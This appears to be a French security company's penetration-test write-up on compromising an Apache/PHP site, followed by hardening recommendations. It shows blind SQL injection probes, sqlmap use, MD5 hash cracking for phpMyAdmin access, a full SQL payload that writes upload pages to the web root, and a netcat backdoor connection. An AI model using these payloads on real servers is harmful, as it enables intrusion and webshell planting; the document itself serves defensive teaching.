Test d’intrusion et Blind SQL Injection
Cet article présente un extrait issu d’un test d’intrusion pratiqué par notre équipe sécurité.
A partir de vulnérabilités découvertes sur un site Apache, qui peuvent paraître inoffensives à première vue, nous allons voir comment un hacker va en prendre possession et lui faire exécuter du code arbitraire. Nous démontrerons ainsi les conséquences qu’engendre une mauvaise configuration de serveur web sous linux, le risque restant équivalent pour tout autre système d’exploitation. Nous terminerons ensuite par une mesure de bonnes pratiques à mettre en œuvre pour se protéger de ce genre de risque et aborderons de plus la problématique de durcissement applicatif (l’objectif étant de démontrer le risque élevé que provoque une mauvaise appréciation et application des pratiques de la sécurité)
Après avoir réalisé la recherche d’information, nous utilisons l’outil Nikto pour effectuer un scan rapide du site cible :
root@randco:~# nikto -h www.cible.com Nikto v2.1.3
+ Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny3 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.0
+ OSVDB-3268: : Directory indexing found.
+ OSVDB-3092: /html/: This might be interesting...
+ OSVDB-3092: /phpmyadmin/: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.
Nikto découvre quelques dossiers intéressants, toutefois après vérification manuelle nous n’avons rien pu en tirer, malgré la présence d’un phpmyadmin accessible depuis internet qui est en soit déjà une très mauvaise pratique !
En regardant la syntaxe utilisée sur les liens d’accès aux pages du site, nous remarquons qu’Apache utilise mod_rewrite avec une transformation d’url assez connue qui transforme une url de type « Pretty URLs » : /index.php?val=var&val2=test&varplus=autre par /var/test/autre.html
Cette technique de sécurisation est assez efficace pour déjouer les scanners automatiques, et « les scripts kiddies ». Une simple recherche Google nous révèle les informations voulues. Nous pouvons supposer que le robot de Google soit passé avant de mettre en place ce module
Explication d’une injection SQL en aveugle (Blind)
Dans le cas où une page web utilise un paramètre de nom « id », un hacker vérifiera certainement si cette page est vulnérable aux injections de type SQL, via des requêtes malformées.
Sur une page qui prend comme paramètre un id, un attaquant effectuera nécessairement quelques tests pour vérifier que la page n’est pas vulnérable à des injections de type Blind SQL (l’injection n’affichera pas le résultat mais indique seulement s’il y a une erreur ou un succès)
Exemple d’URL:
http://notrecible.com/produit.php?id=2
Cette URL envoie les informations suivantes à la base de données.
SELECT title, description FROM produit WHERE ID = 2
Le hacker peut essayer d’injecter tout type de requête SQL ce qui aura comme effets escomptés :
- dans le cas d’un succès une page blanche sans retour d’erreur et sans le résultat de la requête, car non prévu dans l’affichage de la page par le développeur
- dans le cas d’un échec une page avec une erreur SQL
Le résultat étant sous forme binaire (OK ou KO), on parle d’injection à l’aveugle ! Tout devra se faire par un jeu de déduction de la part de l’attaquant.
Prenons cette requête comme exemple:
http://notrecible.com/produit.php?id=2 and 1=2
Elle sera interprété par le serveur sous forme SQL comme
SELECT title, description FROM produit WHERE ID = 2 and 1=2
Si cette page est vulnérable elle ne devra donc rien retourner (1 = 2 est toujours faux)
Par contre si cette page est exécutée elle devra retourner le bon résultat (1 = 1 retourne toujours vrai)
http://notrecible.com/produit.php?id=2 and 1=1
Si le résultat de la page est identique, le hacker est alors capable de distinguer quand la requête est Vraie ou Fausse. Nous sommes en face d’une page vulnérable à une injection SQL dans le paramètre GET de produit.php. Une déduction simplissime nous permet d’identifier qu’il n’existe pas d’IPS ou de firewall applicatif, car ils auraient bloqué les tentatives d’injection SQL.
Par la suite, les limitations techniques de cette faille sont les privilèges assignés par l’administrateur de la base de données, et les différentes syntaxes à exécuter.
SQLMap (disponible sur la distribution Backtrack) est un puissant outil permettant d’effectuer des requêtes SQL de manières automatisées dans le but de trouver et d’exploiter ce type de vulnérabilité :
Nous commençons par lister les Bases de données disponibles. Options utilisées
- -u : adresse de la cible
- –dbs : listing des différentes bases disponibles
- -v : verbosité (0, 1, etc.)
Sqlmap dans sa dernière version (sqlmap 0.8) permet d’exécuter des requêtes SQL directement en utilisant l’injection
Maintenant que nous connaissons les noms des BD disponibles, et sachant que nous avons un accès direct sur phpmyadmin, c’est la BD « mysql » qui devient la plus intéressante
Nous utilisons notre « cloud » pour cracker ces hash MD5 et obtenons ainsi un accès à phpmyadmin. SqlMap permet d’uploader sous certaines conditions (permissions et privilèges suffisants) d’uploader un fichier directement sur le disque.
Un fois connecté à phpmyadmin, nous pouvons exécuter certaines requêtes pour créer un fichier php nous permettant d’uploader des fichiers sur le serveur (IE. Webshell)
CREATE TABLE randco( matrix TEXT ) TYPE=MYISaM;INSERT INTO randco(matrix) VALUES('<form enctype="multipart/form-data" action="upload.php" method="post"><pre lang="html">Upload file :<form enctype="multipart/form-data" action="upload.php" method="post"><input name="userfile" type="file" /><input type="submit" value="Upload" /></form>');select * into dumpfile '/var/www/html/form.php' from randco;CREATE TABLE randcoupload( matrix TEXT ) TYPE=MYISaM;INSERT INTO randcoupload(matrix) VALUES ( "<?php $uploaddir = '/var/www/html/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) { print '<body bgcolor=#000></br></br><div align=center><font size=5 > Succes </font></body>'; } else { print '<body bgcolor=#000></br></br><div align=center><font size=5 > Echec </font></body>'; } ?> ");select * into dumpfile '/var/www/html/upload.php' from randcoupload;
Nous commençons par créer deux tables avec un seul champ dans lequel nous insérons le code source des pages php qui nous servirons par la suite à uploader un fichier sur le serveur.
Grace à l’instruction « dump into » nous réussissons à dumper les informations que nous avons inséré dans la table « randco » et « randcoupload » dans un fichier sur le disque avec une extension php qui sera exécutée par le serveur une fois que nous y accéderons
Il ne reste plus qu’à accéder au lien qui nous mènera à cette page : http://cible.com/html/form.php
Pour enfin uploader le webshell
Un webshell est une sorte de backdoor au sein d’un(e) application/serveur web qui est accessible via une URL s’exécutant sous l’identité du serveur web (parfois root)
Pour pouvoir avoir un shell direct sur le système nous mettons en place une sorte de backdoor sur le serveur en utilisant le célèbre outil « netcat » qui est généralement disponible sur les serveurs. Pour cela le port n’est pas choisi par hasard, en effet la plupart des serveurs web disposent d’un firewall iptables (si ce n’est un firewall hardware ce qui complexifie l’opération)
nmap notrecible.com -sS -sV --version-all -P0 -p- --reasonNmap scan report for ********* (**.**.**.**) Host is up, received arp-response (0.011s latency). Not shown: 65530 filtered ports Reason: 65530 no-responses PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack Apache httpd 2.2.9 ((Debian) PHP/5.2.6-1+lenny3 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.0) 4444/tcp closed […]
Grace au scan de port via nmap, nous remarquons un port ouvert mais aucune application ne tourne derrière (ie. Port 4444). Nous mettons notre backdoor ssh en écoute sur ce port. Si aucun port ne nous avait retourné un reset une connexion « reverse » aurait été envisagée, ce qui permet éventuellement de bypasser les firewalls (souvent configurés pour bloquer les communications entrantes et non sortantes)
Maintenant que netcat est en écoute sur le port 4444, il ne reste plus qu’à s’y connecter toujours en utilisant netcat.
root@randco:~#nc cible.com 4444
Nous obtenons un accès au système avec les droits du serveur web (ie. www-data). Plusieurs opérations sont possibles (lecture, modification, et suppression de fichier…). Si d’autres serveurs sont disponibles sur le même LAN du serveur, ils seront aussi sujet à risque, de plus la plupart des firewalls ne font pas restriction d’accès pour les transmissions « Intra (LAN) »
La phase d’escalade de privilège et de suppression des traces dans les logs sera la suivante que nous détaillerons probablement dans un prochain article.
Protection
Protéger phpmyadmin :
- La méthode d’authentification Digest a pour avantage de se baser sur un fichier plat coté serveur comme l’authentification basique, mais aussi de ne pas transmettre le mot de passe utilisateur en clair contrairement à une authentification basique
cd /etc/apache2/mods-enabled
ln -s /etc/apache2/mods-available/auth_digest.load auth_digest.load htdigest -c /var/.htpasswd Private Master2KeysAdding password for Admin in realm Private.
New password:
Re-type new password:
La configuration apache sera configurée de cette façon
Alias /PhVerySecretFold /usr/share/phpmyadmin <Directory /usr/share/phpmyadmin>
Order deny,allow Deny from all Allow from 192.168.0.1/24 #Ne permettre l’access que depuis le LAN
Options -Indexes AllowOverride None AuthType Digest AuthName Private AuthUserFile /var/.htpasswd Require valid-user
</Directory>
Vous remarquerez que nous avons aussi changé le nom par défaut du lien d’accès à phpmyadmin le rendant pratiquement indétectable pour les scanners automatiques (associé un outil de type fail2ban)
Se protéger contre les webshells
Une directive très intéressante peut aussi être utilisée pour emprisonner les fichiers d’un « virtual host » dans un répertoire (une sorte de chroot pour les fichiers php). Cette restriction ne peut être contournée par un lien symbolique (les liens symboliques sont résolus).
Lorsqu’un script tente d’ouvrir un fichier, avec les fonctions fopen() ou gzopen(), la situation du fichier est vérifiée, PHP refusera de l’ouvrir si le serveur web essai d’ouvrir un fichier en dehors de ce périmètre
php_admin_value open_basedir "/var/www/dossierVhost" : La restriction spécifiée par open_basedir est en fait un préfixe et non un dossier. Cela signifie que "open_basedir = /var/www/dossierVhost " donne accès au dossier "/var/www/dossierVhost " et aussi au dossier "/var/www/dossierVhostest" s'il existe. Lorsque vous souhaitez restreindre l'accès à un dossier spécifique, ajoutez un slash final. Par exemple : open_basedir = /var/www/dossierVhost/
Nos recommandations
- Effectuer un audit de code des applications afin d’éviter et de corriger les failles permettant l’injection de requête SQL, les techniques de sécurisation « externes » montrent leurs limites s’il existe beaucoup de vulnérabilité du coté application web
- Bien définir les droits et permissions des utilisateurs (l’écriture du fichier dans le dossier du serveur n’aurait jamais été possible si la permission d’écriture n’était pas assigné à l’utilisateur « mysql »
- Seuls les comptes administrateurs doivent avoir des droits sur la totalité de la base. De manière générale, ces comptes doivent être réservés aux tâches d’administration :: création/suppression d’utilisateurs, de bases.
- Installer et configurer mod_security et penser à « chrooter » apache
- Utiliser un équipement externe permet aussi de cloisonner les flux (les « Reverse Proxy » sont dans ce cas assez efficaces (CF. Vulture : Reverse Proxy Open Source)
- Envisager l’installation d’un firewall de base de données pour vos serveurs de type « Green SQL »
- Effectuer du monitoring de sécurité (possible avec Nagios)
- Envoyer les logs sur un serveur distant